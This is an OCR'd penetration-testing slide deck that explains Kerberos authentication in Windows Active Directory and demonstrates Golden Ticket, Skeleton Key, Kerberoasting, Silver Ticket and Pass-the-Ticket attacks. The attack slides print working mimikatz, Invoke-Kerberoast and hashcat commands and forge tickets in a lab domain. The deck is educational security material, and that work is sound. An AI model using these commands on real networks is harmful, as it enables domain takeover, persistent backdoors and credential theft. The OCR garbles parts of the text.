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DEFINE: KERBEROS

1. Protocol used for Authentication in a Windows domain
* There is a slight bastardization done with MS
Kerberos as compared to the MIT Kerberos

2. Three headed dog who guards the entrance to the
underworld
* Prevents the dead from escaping and the living
from entering (seems fitting)
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KERBEROS
INTRODUCTION

In a Microsoft AD domain, the main authentication
mechanism is Kerberos.

Kerberos is a network authentication protocol based on tickets. The protocol allows 2 parties (a client
and a server for example) to authenticate to each other over an insecure network channel, provided
that both parties trust a third party; the Kerberos server!

The main components of a Kerberos transaction are:

The KDC (Key Distribution Center)

The client requesting access

The service the client is attempting to obtain access to
While Kerberos, is the preferred mechanism, Windows will revert to NTLMvZ2 if Kerberos is not
available (unless explicitly disabled).

redsiege.com 5
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KERBEROS BASICS

Kerberos uses shared secrets for authentication
In a Windows domain there is only one, the
NTLM Hash

The password hash is used to encrypt everything in MS Kerberos
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HOW IT WORKS

REDSIEGE
Before you can authenticate to anything you need a Ticket Granting
Ticket (TGT)
TGT is only used with the KDC
I'm Tim, and | need to authenticate to | can.dec.rypt Your
: . communication using your
something. Here is a request encrypted )
: NTLM hash. Here is a TGT
using my password hash ,
encrypted with your NTLM
Hash
KDC
Key Distribution Center
(Windows Domain Controller) 7

redsiege.com
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AUTH TO SERVICE

TGT is used to request a ticket for a service

This is where the Golden Ticket attack rewrites the TGT (more later)

| need to authenticate to a service via Sure, here it is. | don't check
Kerberos. Can | get a ticket for another if you have permissions on
service. Here is my TGT to verify my the target service. | leave

identity. that up to the service. | have

enough to do.

KDC

ié} Key Distribution Center
NI (Windows Domain Controller) 8

) COUPO
redsiege.com ——



AUTH TO SERVICE (CONT) ®

REDSIEGE

The Server half of the ticket is sent to the remote system

If the server can decrypt it, it then it checks™® the PAC
PAC is signed with the service's key and krbtgt's key

| can decrypt this ticket and the

Here is some stuff | can't read, but the HMAC signature using my hash as

KDC says this should verify me. the key is good. | see your user info

in this ticket, but before | authorize
you | may* need to verify the details

e 7| CKET 7 s

L Member Server

redsiege.com



PAC

PRIVILEGE ATTRIBUTE CERTIFICATE

= IF_RELEVANT AD-WinZk-PAC

Contains all the relevant
user information

=~ IF_RELEVANT AD-WinZlk-PAC
Type: AD-Win2k-PAC (128)
~ Data: 050000000000000001000000LOA10ADOS5E000000000DOAOG. . .

] = -+ =

Mum Entries: 5
Version: @

Type: Logon Info (1)
Type: Client Info Type (10)
Type: UPN DNS Info (12)
Type: Server Checksum (6)
S5ize: 20
Offset: 608 [

[ PAC_SERVER_CHECKSUM: 76ffffff8caf7c2d8866ed805fe6b0d498eblbfa

Type: Privsvr Checksum (7)

Size: 28
Offset: 632
[ PAC_PRIVSVR_CHECKSUM: 7efffffffo93284bbc94abefbc28b97dabad44670

redsiege.com

Type: AD-Win2k-PAC (128)

=~ Data: 050000000000000001000000bOO1O0OO5800000000000000. . .

NMum Entries: 5
Version: 0
< Type: Logon Info (1)
Size: 432
Offset: B8

=~ PAC_LOGON_INFO: ©1100808ccccccccalflofpopppoooonononozoeiobisgabd. . .

P MES header

< PAC_LOGON_INFO:

Referent ID: Ox00020000

Logon Time: Sep 2, 2014 06:12:10.414987200 CDT
Logoff Time: Infinity (absolute time)

Kickoff Time: Infinity (absolute time)

PWD Last Set: Sep 2, 2014 06:07:20,.706869800 CDT
PWD Can Change: Sep 3, 2014 06:07:20.706869800 CDT
PWD Must Change: Infinity (absolute time}

Acct MName: tm

Full Name: tm -

Logon Script

Profile Path

Home Dir

Dir Drive

Logon Count: 167

Bad PW Count: 1

User RID: 1106 _

Group RID: 513

Num RIDs: 1

=~ GROUP_MEMBERSHIP_ARRAY -

VN W WV VWV

10



SERVICE TICKET
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There's more to the ticket, but these are the important parts

TICKET

LEJESE)

KEEP

THIS

COUPON

(LESBSH)

Server portion
e User details
e Session Key (same as below)

e Encrypted with the service accountd®
NTLM Hash

Your portion

e Validity time

e Session Key (same as above)

e Encrypted with the TGT Session Key *
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SPN

SPN is the Service Principal Name, and is the mapping between
service and account

Your system doesn't know (or need to know) the account running the
service

The KDC does need this info so it can properly encrypt the server
portion of the Service Ticket

Setspn.exe is used to map an AD account to a service

redsiege.com 12



| need to talk to the mail

server on cliff. medin.local

redsiege.com
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Before | can send a ticket, |

need to encrypt it using
the target service's hash

% MAIL/cliff. medin.local mailsvc

\\&““\f >

7| —
~—=core KDC MSSQL/db01.medin.local sglengine

w
o
7=}
o
w
—~

HTTP/charlotte.medin.local  websvc

13
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THREE LONG TERM KEYS

SPN is the Service Principal Name, and is the mapping between
service and account

KDC long-term secret key (derived from krbtgt account password)

The KDC long-term secret key is based on the infamous krbtgt's service account
Used to encrypt the TGT (AS-REP) and sign the PAC (AS-REP and TGS-REP)

Client long-term secret key (derived from client account password)
The client long-term secret key is based on the computer or user account
Used to check encrypted timestamp (AS-REQ) and encrypt session key (AS-REP)

Target (service) long-term secret key (derived from service account password)

The client long-term secret key is based on the computer or service account
Used to encrypt service portion of the ST (TGS-REP) and sign the PAC (TGS-REP)

redsiege.com 14



AS-REQ (WITH PRE-AUTH)

ﬂ sec560\erik
Pa$$wOrd /
. i 2. AS-REP

IA4B1757588CAB6298E29E9 1 CO6DF58D ¥ Sy
i / KDC
TGT - Encrypted using KDC LT key (krbtgt NT hash) ( % 3. TGS-REQ

Start / End / MaxRenew: 05/12/2018 07:12:18 ;05/12/2018 17:12:18 ;
12/12/2018 07:12:18 ; Privilege Attribute Certificate (PAC)
— \

Service Name: krbtgt; sec560.priv | ysername: erik
Target Name: krbtgt; sec560.priva q|p-S-1-5-21-409 ... <snip>

Client Name: erik; sec560.private Groups: Administrators ... <snip> .ﬁ:l' "
Flags: 40e 10000 Il

Session Key: 0x00000012eb2 | 2eb ’ Signed using Target LT Key
45eb4124af9010bf1 3f...<snip> ' Signed using KDC LT Key

File
Server

lllustration inspired by "Abusing Microsoft Kerberos - Sorry you guys don't get it," Benjamin Delpy (Blackhat USA 2014)
redsiege.com nviso.eu 15



TGT AND PAC

1. AS—RE({>
m sec560\erik /
PasSSwOrd
' i J 2. AS-REP
m 1A4B1757588CAB6298E29E91 C06DF58D ‘
AS-REQ with pre-authentication KDc
* As a first step, the user will use his / her NT hash to encrypt a
timestamp that is subsequently sent to the AS (Authentication
Server), which is part of the Kerberos KDC (Key Distribution Center). —
I—
 The KDC attempts to decrypt the timestamp using the user's NT hash. .ﬂi:l "
If this is successful, a TGT (encrypted using krbtgt NTLM hash) and
Client / TGS session key (encrypted using user password hash) are File

returned in the response. Server

redsiege.com nviso.eu 16
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i

. ° A_L .
=~ Client Portion @jw:D Server Portion
(encrypted using Client / TGS session key) I (encrypted using Target LT key)
g WA\ [ Privilege Attribute
alidity time of the ticket .
" Certificate (PAC)
Session key I

ST (SERVICE TICKET)

sec560\erik
PasSSwOrd

1A4B1757588CAB6298E29E91C06DF58D

Service Ticket (TGS)

Username: erik
| SID: S-1-5-21-409 ... <snip>

Signed wTarget LT Ke
g 4 Yy
[ Signed w KDC LT Key

/ KDC
/ 4. TGS-REP

lllustration inspired by "Abusing Microsoft Kerberos - Sorry you guys don't get it," Benjamin Delpy (Blackhat USA 2014)
redsiege.com nviso.eu
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I—
oﬁ:l_ :

5. Usage
N\, File
Server

17



PAC VALIDATION

m sec560\erik

i PasSSwOrd

A few more words on the PAC

1A4B1757588CAB6298E29E91C06DF58D

KDC
Whenever the target service receives the server portion of a Service
Ticket (which it can decrypt using its "Target Long Term key"), it can
read out the contents of the PAC. The PAC is not always validated:
* For TGT - The PAC is only validated when the TGT is more than 20 —
minutes old \ -
[ Y |
 For TGS - The PAC is typically not validated for services on modern |]|]
Windows 5. Usage |
N\, File
Server
lllustration inspired by "Abusing Microsoft Kerberos - Sorry you guys don't get it," Benjamin Delpy (Blackhat USA 2014)
redsiege.com nviso.eu 18
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GOLDEN TICKET

A Golden Ticket is "nothing more" than a "special” TGT
created by an attacker.

In order to create a valid TGT (with a valid PAC), we would require:

* The Target LT Key

* The KDC LT Key
In case of a TGT, these keys are identical (krbtgt). We would thus have to obtain the
NTLM hash of the krbtgt account (RC4) or the AES key (AES)!

redsiege.com nviso.eu 19



TICKET FLOW

When we would use a Golden Ticket, the first interaction is a TGS-

REQ (request for a Service Ticket) using the forged TGT (the

Golden Ticket). There is no prior credential submission or AS-REQ

/ AS-REP!

GOLDEN TICKET (TGT) P=

Start / End /| MaxRenew: 05/12/2018 07:12:18 ;05/12/2028 17:12:18 ;

Service Name: krbtgt; sec560.priv | Jsername: DOMAIN.ADMIN
Target Name: krbtgt; sec560.priva g|p-S.1-5-21-409 ... <snip>

Client Name: domain.admin; sec5 Groups: Domain Admins ... <snip>
Flags: 40e10000
Session Key: 0x00000012eb212eb ’ Signed using Target LT Key

B

3. TGS-REQ

12/12/2028 07:12:18 ; Privilege Attribute Certificate (PAC)

45eb4124af9010bfl 3f...<snip> ' Signed using KDC LT Key

redsiege.com nviso.eu
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GOLDEN TICKET PROPERTIES &)
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So what makes a Golden Ticket "special™?

* It's created *WITHOUT* any interaction with the DC (it's "homemade ©").

This is possible because Kerberos is a "stateless" protocol (it thus not keeps
track of all previously created TGT's).

* As discussed in the previous slide, though, it would require us to obtain the
KDC Long Term key (which should not be easy to get!).

* |t's typically a TGT for an administrative account (e.g. RID 500 in the domain
or a Domain Administrator).

* |t's typically valid for a long time (10 years by default).

redsiege.com



GOLDEN TICKET CREATION

7

t:golden.ticket.bin

B mimikatz 2.1.1 x86 (oe.e0) — | =1 3¢

{ [#8 \ / ## Benjamin DELPY ‘gentilkiwi’ ( benjamin@gentilkiwi.com ) -~
‘## v ##'  http://blog.gentilkiwi.com/mimikatz (oe.eo0)

‘#uun’ with 21 modules * * */ =

mimikatz # kerberos::golden /krbtgt :el19ccf75ee54e06b06a5907af13cef42 /admin:root
/domain:sec560.private /sid:S5-1-5-21-1458117341-2101632361-2707338445-500 /ticke

KrbCred generated
Final Ticket Saved to file !

mimikatz #

Fz—

redsiege.com nviso.eu

C:\demo\mimikatz_trunk\Win32>dir golden.ticket.bin
Volume in drive C has no label.
Volume Serial Number is F437-E4C4

Directory of C:\demo\mimikatz_trunk\Win32

10/07/2017 18:08 1.359 golden.ticket.bin
1 File(s) 1.359 bytes
© Dir(s) 2.436.993.024 bytes free

C:\demo\mimikatz_trunk\Win32>

User
: root
Domain : sec560.private (SEC560)
SID : $-1-5-21-1458117341-2101632361-2707338445-500
User Id : 500
Groups Id ¢ ¥513:512 520 518 519
ServiceKey : el19ccf75ee54e06b06a5907af13cef42 - rc4_hmac_nt
Lifetime : 10/07/2017 18:08:29 ; 8/07/2027 18:08:29 ; 8/07/2027 18:08:29
-> Ticket : golden.ticket.bin
* PAC generated (
* PAC signed L AW
b e T3 CROEPSIVE Ganavaian al C:\Windows\system32\cmd.exe
* EncTicketPart encrypted PN
-

m

REDSIEGE

Golden Ticket - Step 1

Using Mimikatz, a golden ticket can
be generated using the following
information:

KDC LT key (e.g. KRBTGT NTLM
hash)

Domain admin account name
* Domain name

SID of domain admin account

All of these values can be obtained
by any user in the domain, except
for the KDC LT key!



GOLDEN TICKET CREATION

B mimikatz 2.1.1 x86 (oe.o)

himikatz # kerberos::ptt golden.ticket.bin

* File:

8:29

'golden.ticket.bin': OK

mimikatz # kerberos::list

[00000000] - ©xP0000017 - rcd_hmac_nt

Start/End/MaxRenew: 10/07/2017 18:08:29 ; 8/07/2027 18:08:29 ; ©08/07/2027 18:0

Server Name : krbtgt/sec560.private @ sec560.private
Client Name : root @ sec560.private
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;

mimikatz #

m

n

REDSIEGE

Golden Ticket - Step 2

In this second attack step,we
can now re-inject the ticket in
Windows memory, thereby
readying for use when we try to
attempt accessing a service that
relies on Kerberos
authentication (e.g. accessing a
Windows share).

Once a golden ticket is generated, the only way a company can mitigate the attack is to change the password of the
krbtgt account twice (It has a hard-coded password history of 2 + the KDC will also attempt to validate a TGT with
hashes in the password history!). This will, however, invalidate all tickets and could have production impact!

redsiege.com nviso.eu
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SKELETON KEY

Another AD persistence attack we would like to highlight is the Skeleton Key attack, which has also been
added as a built-in module in Mimikatz. A skeleton key is a key that opens all the locks in a building. In the
same way a Skeleton Key can "unlock" all systems in the domain!

How does the "Skeleton Key" attack work?

* The Skeleton Key only works for Kerberos RC4 encryption;
* The Skeleton Key is a backdoor that runs on the Domain Controller (in memory) allows single password
(the skeleton password) that can be used to log on to any account;

Technically, the Skeleton Key does this by manipulating the way the encrypted timestamp (AS-REQ) is validated. As
a reminder: in RC4, the timestamp is encrypted using the NT hash of the user by the client, after which the domain
controller attempts to decrypt the timestamp using the user NT hash. When the Skeleton Key is installed, the
domain controller will attempt to decrypt the timestamp using the user's NT hash AND the skeleton key NT hash
(mimikatz default: 60BA4FCADC466C7A033C178194C03DF6, which is password "mimikatz").

* Asit runs in memory, it does not persist by itself (but can, of course, be scripted or persisted)
redsiege.com 24



SKELETON KEY

&/ mimikatz 2.1.1 x64 (oe.e0)

LHHHY . mimikatz 2.1.1 (x64) built on Jun 18 2017 18:46:28
CE# N ##. "A La Vie, A L'Amour"”
## / \ ## /* * *
## \ / ## Benjamin DELPY “gentilkiwi~ ( benjamin@gentilkiwi.com )
"#it v ##° http://blog.gentilkiwi.com/mimikatz (oe.eo)
VHHEE with 21 modules * * */

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # misc::skeleton
[KDC] data

[KDC] struct

[KDC] keys patch OK

[RC4] functions

[RC4] init patch OK

[RC4] decrypt patch OK

mimikatz # _

redsiege.com

REDSIEGE

Skeleton Key in action

In the screenshot on the left, we can
observe Mimikatz installing a "skeleton
key" backdoor on the domain
controller.

Note the simplicity of the commands...
This will now allow anyone to
authenticate as any user in the domain
with the skeleton key password
("mimikatz").

25
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KERBEROASTING

The ST from the TGS-REP is encrypted using the service
account's password

This allows us to offline crack the service password
Guess service password -> hash -> attempt decryption -> repeat
All we need is tickets!
Remember, the KDC doesn't verify our permission to access the service, so we can request

all the tickets!

redsiege.com 26
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REQUESTING TICKETS

The system doesn't have to be...

® Accessible

® Available Here is my TGT, Sure thing! Your TGT looks good.
Can | geta ST for The services will authorize you,
® Exist* 5ql01 not me. | can't keep track of all

Web01 that
Mail01

redsiege.com
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EXTRACTION AND CRACKING M
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We need to extract or capture the tickets to cracking

Mimikatz supports this, but evasion can be a problem
Invoke-Mimikatz from PowerSploit and Empire

We can crack with John or Hashcat
(Tim wrote a cracker... it was horrible)

redsiege.com nviso.eu 28
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SILVER TICKET

Forged service ticket

Service tickets are encrypted and singed using the service account password
If we can get this hash (or password), we can create a new ticket
We bypass asking the KDC for a TGS

Similar to Golden Ticket, but the forgery is at a different step

redsiege.com 29
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SILVER TICKET

Silver Tickets are forged Service Tickets. While the "golden ticket" is a bit more infamous, Silver Tickets represent a
serious risk: They do not require us to compromise the krbtgt account AND can be more subtle!

Service Ticket (TGS) In a Silver Ticket attack, we forge a
- - Service Ticket with a custom PAC (to
(. ==  Client Portion /==  Server Portion escalate privileges). This Service Ticket

(encrypted using Client / TGS session key) (encrypted using Target LT key)

is forged using the Target LT Key (e.g.
the NTLM hash of the service).

* Validity time of the ticket
\ .sts'°” key Username: erik As we don't have the KDC LT key, we

| SID: S-1-5-21-409 ... <snip> cannot create a valid, complete, PAC
: signature. However, PAC validation is
I ’ Signed w Target LT Key usually disabled, which means there is

L’ Signed w KDC LT Key an opportunity!

I
| Privilege Attribute Certificate
I (PAC)

redsiege.com nviso.eu 30



KERBEROAST & SILVER TICKET DEMO

; = tm.MEDIN>whoami
C:\Users\tm.MEDI'>net user tm fdoma1nl _ _ _
The request will ain controller for domain medin.local.

REDSIEGE

User name tm

Full Name tm

Comment

User's comment

Country code 000 (System Default)
Account active Yes

Account expires Never

Password Tast set [s 3/22/2015 2:48:33 PM
Password expires Never

Password changeable 3/23/2015 2:48:33 PM
Password required Yes

User may change password Yes

workstations allowed A1l

Logon script

User profile

Home directory

Last logon 4/30/2020 11:50:15 AM

Logon hours allowed A1l

Global Group memberships *Domain Usersl
The command completed succes e

Local Group Memberships !
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KERBEROAST & SILVER TICKET DEMO ﬁ

REDSIEGE

C:\Users\tm.MEDIN3Inet Tlocalgroup administrators

Alias name adfrrrrstrate _ _
Comment Administrators have complete and unrestricted access to the computer/domain
Members

Administrator
MEDIN\Domain Admins

Attacker is just a normal user, no admin rights



KERBEROAST & SILVER TICKET DEMO

REDSIEGE
PS C:\Users\tm.MEDIN> Invoke-Kerberoast
TicketByteHexStream :
Hash : $krbStgsthost/blah: Z2ES4BBAGZ29E7ALAZ91492708A99C4BABSFZFSD71FDR4768259C831566
B4SASSDE 13366108268320CAR48249B 19E892BDSCF 7 19B643F4CDESDEECF 11263F A9952900 1B
4FA9E056EBEEBB@ABD9B48A326038019®C1C4BBC44F962166A915EE5@FB4A6E62711CBBD3226
A1AATARINASFRB423M34B0A7BYA 1DBBBF 2PR54RS7 13FF 7ARFECSCMISAASMIAPASZ20ARANGT72413
DS Vlce., 'ilie wcadlhvae o« il I WD o
TicketByteHexStream :
Hash : $krbS5tgs$MSSQLSve 121.medin. local : 1433: QE7OD9560D56E 64 722C48A33FSFESBC8E$54

2CC917 4E@FD5D86D79 27376976@A5@14DAA42132687652987C583DAF77E7E78D95C4CE4FBF
7147 1BAASDEFZ20B5C 155F 943958 1CFB493BEZ3203E39273E7EDD3RC83613FBBEFFEGSD27627 1
CE6EBGRSCFE6B4B98D2BID612105C4A3F 1E4CA 186B9ESE598CA4SAEFD89CB33657CR9681CRA477D3D
B2D97721136FCSCFA3CDC86669115228DRAFZ2ER 192D62006529E9DCF 7867 125AD427EB731FESE
9573913BA928F43333DE3179F4DSFFD61B3FF38B2FS99A 18E6D 10CID 1A4BF4A 13D6286A7BF 79
A4QC32E43A11FS36ERAES3FA/FFR3ZB36S4B8EAZBCEOD24DC1DE762916BAFZ27AAE 1IE2SARZEF 851
B8DB3169FF11E161830DDB466EFAF66FF97/BA3F9C161DCISCFESS442521A4ES3FCIBZ2F 7B31C
E3BCBB4SER83656ERSAGFSZ20B85S182FDC7EBSCR1AAS184012528587C6EACFDAS12BDCCZ2C9307
484EFAS3CP4CACT7I4EAZFBGAGCAGERSSOF 1C71588173EF7DDE1CSCB6AVESPAQ1ESF1A916734
7139752B3B26380D8CBEDC15908F974DD7A9E 1S579BDSEQSDI9345734A4521SFA1A1CSCDAASSE
Z3AF71C691AE7CB3395AD99DD7A16281CEGAS7AAF COS496F S8CB29A3BSAB9B3ASRZACEF 97246
FSC78DR9CH383CE8SE47627BE67BBZDASR4ICFI1PEGFDESDCACS93A83ADEB7F2FSCAEEDSEZD 1D
S8FEA7ES3C1618BFCEFBZDESGE6CAEZAF 21410995 78BC8DABT7Z26CCCERACS99131714DBE19FEBED4
SP8F855F83FF7333AB9F 1B 1DD36D26C47RHERZ19E4 7F 3BD6B3DFFB7DEFEBCEC8804682D 1694
A 1854E6DPEDE169C7SCFI93543283EDCASDBESA217CBS3C21931BBSEE4AFBZ2CZ221FAAF3CS1B 1B
@FSE 189D98CFEDZ253726243FDZ235FB883F 7 136BFRSCASHA9248991E9FFSDC12ED 1697FESACD4 1
36B38254CBF6B43D9941E2D0UB 14689DBERSD 11 15ES578218D95DBBF 2F 452DF4B 1IFF2D30A9198
407 17D854COEAF 38165ADD3S79VEBSDEES /09936 23380E /EQF 82230ADESFBS/FSFDB89254 27264
CS31A83587E8708B837014EF28D86D234E113B2D4B 1D74C98C63040AD4 1BEEQBZ27R6AEF 11542F
G66DC8CEEAFBAB799175441F3D4C387FDEDSB439768B8CAZ83BRFFD3F 19ADDRA4DE4A31 1ESEDED
FB4DCZF Z2B8BA1FBS9CAAB/BCA85SC3DRNS1855FE653F 101 1AC34F 233239 2EEFDE8F8320AER604 73EBRS
43239A35BF/FF3SCIDAE 1 Z2A68A7ATERCRACS9ZBZ298083DBFED 7424 1FD284DS3BC313AC380DAA
1AA1C9665ESUCERSERN3ISDSIDR335665AEAF1 IEFZ28F ASAS760Z2BE620D251 1855536 78FQB7SCF7
S8ADESUFE4E7S67F4DB484 761 76ESASES 7D 1D6S728BSSAZF 942D4AEF 6F 4465552C A 70OBD7698C2
113F540758CC 1ACESERB4D8CR8F 4AF 14EQ0SE 305402 7ASBD96 1FACCRBERERBB4ASEF 1A9A753D1161
FECDS37A1835BD14283A9C513FECF63F 76DA384R096C27259151BB2Z25E3079960152F 0F 6ADSFDE
F8EAF8E9D998CEC758@7FC
SamAccountMName : sglengine
istinguishedName ﬁ sq engine,CN=Users,DC=medin,DC=local

ServicePrincipal Name : MSSQLSvc/sqlél medin. local 1433
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CRACKING TICKETS

Cracking...
e Use Hashcat mode 13100
* John can crack as well, but Hashcat is preferred
* Don't use my cracker
* |t sucks
* It's slow
* | get too many open tickets on GitHub
* It was first, but it is slow and it sucks

hashcat64.exe -a -m 13100 SPN.hash /wordlists/rockyou.txt
This is a simple example, not a Hashcat overview
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PS C:NUsers\tm.MEDIN>
The request will be p

net user sqlengine Adomain

ler for domain medin.local.

User name sqlengine

Full Name sqlengine

Comment

User's comment

Country code PO (System Default)
Account active Yes

Account expires Never

Password last set 4,3,2014 7:37:94 PM
Password expires Never

Password changeable 4,4,2014 7:37: 04 PM
Password required Yes

User may change password Yes

Workstations allowed All

Logon script
User profile

Home directory
Last logon 2/713/2018 4:03:35 PM

Logon hours allowed All
Local Group Memberships

Global Group memberships

The command completed succesSfe -

If the account is privileged, that's fantastic, but we can use it even if it isn't!
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2 Connect to Server @

= Wicrosoft

- SQLServer 2012

Server type: | Database Engine - |

Server name: |1 -

Authentication: |Windnws Authentication A |
MEDIN"tm

REDSIEGE

L

Connect to Server

|®| Cannot connect to sgl 1.
W pdditional information:

Connect ] | Cant L.» Login failed for user 'MEDINVtm'. (Microsoft SQL Server, Error: 13456)
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FORGING SILVER TICKET

kerberos: :golden
/domain:medin.local
/sid:S-1-5-21-515111615-443038644-2980957688
/groups:513,512,520,518,519
/target:sql0l.medin.local:1433
/service:MSSQLSvc

/ticket:sql0l.medin.kirbi Service's
/rcd: £2cddb01eb3bd8499£409dc938b6e2b7 « Password
/ptt ¥

ash
/id:1106
/user:tm

/ptt
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Let's fake my RID kerberos: :golden
* 1106 is "tm" /1d:1059
e 1159 is "bob" /user:tm
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-'53 50QLQuenl.sql - sgl0l.BobsSecrets (MEDIMtm (52]) - Microsoft SQL Server Management Studic
File Edit View Query Project Debug Tools Window Help

P (S @ S NewQuery (vl G| 4 @9 -0 -85 & b

REDSIEGE

Q& =2 =
Object Explorer > 1 x SQLQueryl.sgl - squ.ets (MEDIMNEm (52)) =
Connect~ ) 3 m 7 3] .§

= L:_“) sgl0l (5QL Server11.0.3128 - MEDIMNtm)

= 1 Databases
[ System Databases

Database Snapshots
= | | BobsSecrets
[ Databaze Liagrams

= 3 Tables
[ System Tables
[ FileTables

1] dbo.sqlmapo
= dbo.ThingsToDolnTheFuture
[ Synonyms

[ Programmability
[ Service Broker

&7
B ¥

ii_-fﬂﬂwnhsSecrets v|| ! Execute b Debug ¥ o 3 =l o | 17 iy

"
-
"

Jrex®xx Sepipt for SelectTopNRows command from S5MS  *F¥Es®Ex/
-|SELECT TOP leee [id]
s [todo]
FROM [BobsSecrets].[dbe].[ThingsTeDoInTheFuture]

: 1 ¢ Buy Brawndo
3 Stl:lrage Electralytes, what are they?
L Security o Invest in Carl's Jr
lS_J Pli:FanDrldDDmlnatmn Buy Time Masheen
ecuri
Get a Latt
[ Server Objects —
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-'ja SQLQueryl.sql - sql0l.BobsSecrets (MEDIMNEm (52)) - Microsoft SQL Server Management Studio
File Edit VYiew Project Debug Tools Window Help

P T (S e @] D NewQuery [y ofyofy i | # Qa9 - - S-5 | b
Pad | = 2 | ==

ITES

BobsSecrets | ! Execute | Debug B o HI,J = Q 3 3

Object Explorer = I B 5QLQueryl sgl - sq..ets (MEDINtm (52))
Connect~ @ 3. m “F #] Q JrE*E¥EE Sepipt for SelectTopNRows command from SSMS  FeExssy

-|SELECT TOP 1@e@a [id]
s [todo]
FROM [BobsSecrets].[dbe].[ThingsTeDoInTheFuture]

=] L_:j sgl0l (5QL Server11.0.3128 - MEDIMNtm)
= 1 Databases
[ System Databases
[ Database Snapshots
= | | BobsSecrets
[ Database Diagrams
= 3 Tables
[d System Tables
[ FileTables | Microsoft SQL Server Management Studio

= dbo.sglmap
= dbo.Things] P h The database PlanForWorldDomination is not accessible. (ObjectExplorer)

[ Views

[ Synonyms

[ Programmabilit By & | oK
[ Service Broker

[ Storage

Hectroltes, what are they 7
Invest in Card's Jr

Buy Time Masheen

Get a Latte

L LI R L
N Lo Ry

[ Server Objects
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%;—‘a 5QLQueryl.sgl - sgl0l1.BobsSecrets (MEDIMNEm (52))* - Microsoft SQL Server Management Studio
File Edit View Query Project Debug Tools Window Help

P S | A NewQuey (PR UR TG 4 B9 -0 -S-5 (& b
1i.:_.T:1’_@||EIn:uI::ls.S.na::rvats. '|| ! Execute P Debug ¥ EE = EHEHJ m'@ Et.;jéP‘Jitj|; =

Object Explorer . ets (MEDIMEm (32))"

Connect~ 3 3 m T (2] .5 S SELECT SUSER_NAME () ;
= L:_ll) sql0L (SQL Server 11.0.3128 - MEDIN\tm) SELECTRSUSER_SMAME (SUSER_SID( ) ) ;
= [ Databases 0% - 4
| System Databases
|_1J Database Snapshots
= | BobsSecrets
|1 Database Diagrams 1
= [ Tables
[ System Tables
[ FileTables

1 dbe.sglmapoutput :
—1 dbo.ThingsToDoInTheFuture 1 § i MEDIN'bob

[H Results | [y Messages

n name)

..................................................
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Let's fake my Groups klist purge
. . mimikatz.exe
* 512 — Domain Admins kerberos: :golden
* 513 — Domain Users ...
e 518 — Schema Admins /groups:512,513,518,519

. . id:1106
* 519 — Enterprise Admins ;iser:tm
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-353 5QLQuenyl.sgl - sgl0l.master (MEDIMYEm (52)) - Microsoft SQL Server Management Studic
File Edit View GQuery Project Debug Tools Window Help

Py v (S e @ | L NewQuery [Byrfyfy G| & S @9 -0 - S5 @] b
Y= 2 =

Ml S0l Quenydl.sql - sq..ter (MEDINVEm (52))
JrE®E®E®Ex cepipt for SelectTopNRows command from SSMS  F**Exs/
-|SELECT TOP lees [id]

»[plan]
FROM [PlanForWorldDomination].[dbe].[SecretPlans]

REDSIEGE

11{_{1‘:1§||master v|| ¥ Execute | Debug ¥ g‘a il EHETI m'é

A
"

Object Explorer
Connect~ 3¢ 3 m “F Ej
= L_:_‘l) sglll (0L Server11.0.3128 - MEDIM\tm)
= [ Databaszes

[ Systern Databases

[ Database Snapshots

BobsSecrets

= | | PlanForWorldDomination

[ Database Diagrams

= 3 Tables
[d Systern Tables

=l dbo.SecretPlans

[ Synonyms
[ Programmability
[ Service Broker
[ Storage
[ Security

[ Security

[d Server Objects

[ Replication
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ﬂi‘;fe- 5QLQueryl.=ql - sgl0l.master (MEDINYEm (52))F - Microsoft SQL Server Management Studio
File Edit View Query Project Debug Tools Window Help

P S | A NewQuey (iRt 4 B9 - -85 (-

- Qe =
Object Explorer * 0 X SQLQueryl.sql - sq...ter (MEDIMN\Em (52))F

Connect~ 3 3 m 7 [#] .5 -]SELECT SUSER_NAME();

= I,:jl sql01 (SQL Server 11.0.3128 - MEDIN\tm) SELECT SUSER_SNAME(SUSER_SID( ) )

U4 g | | master || ¥ Execute b Debug B 35 = |37 Uy

= @ Databases 100% - 4
1 System Databases [H Resutts | [y Messages
|1 Database Snapshots :
| || BobsSecrets -

= | J PlanForWorldDomination
|1 Database Diagrams

= [ Tables
[ Systemn Tables

L o 'I

1 dbo.SecretPlans
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TROLLMODE ON

Let's make stuff up...

klist purge
mimikatz.exe
kerberos: :golden

/groups:512,513,518,519
/id:9999
/user :yourmom
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i

File Action View Help

s

@ Event Viewer (Local)
I+ -'.?’ Custom Views
A !_. Windows Logs
=] Application
] Security
E] Setup
] System
§—| Forwarded Events
1 [ Applications and Services Lo
{_1 Subscriptions

Event Viewer

Security Number of events: 13,581

Keywords

'%Auj%Success
'Q;Au i*Success
LN Audit Success
'Q;Audit Success
"}\\L;Audit Success
'Q;Audit Success

Date and Time
4/30/2020 12:42:55 PM
4/30/2020 12:42:55 PM
4/30/2020 12:42:55 PM
4/30/2020 12:42:55 PM
/30/2020 12:42:55 PM
4/30/2020 12:42:55 PM

Source E| ~

Microsoft Windows s...

Microsoft Windows s...

Microsoft Windows s...

Microsoft Windows s...
Microsoft Windows s...
Microsoft Windows s...

©,_Audit Success 4/30/2020 12:42:55 PM Microsoft Windows s... v
< m >
Event 4672, Microsoft Windows security auditing. x

General | Details
Special privileges assigned to new logon. ~
Subjec
Security [D: yourmom
Account Name: yourmom
Logon ID: 0x98FBCE =
Privileges: SeSecurityPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege v
Log Mame: Security
Source: Microsoft Windows security  Logged: 4/30/2020 12:42:55 PM
Event ID: 4672 Task Category: Special Logon
Level: Information Keywords: Audit Success
User: N/A Computer: sql01.medin.local
OpCode: Info
More Information:  Event Log Online Help

Subject:
Security 10
Account Mame:
Account Domain:
Legon ID:

Logon Type:

Yourmom

YOUTrmom

OxS3FECE

REDSIEGE
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PASS-THE-TICKET

Use existing ticket

Essentially, you are just re-using an existing good ticket
If you have access to a system, you can reuse that access
...or you can dump the ticket and reuse it
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PASS-THE-TICKET

In a pass the ticket attack, access is gained to a resource of a system (for example the administrative share) by using
a Kerberos ticket that was generated or obtained from a compromised machine (TGT or TGS)

REDSIEGE

B¥ Administrator: SEC560 — PtT With Mimikatz
Pass-the-Ticket affects all Windows platforms

mimikatz # kerberos::tgt

Kerberos TGT of current session : .
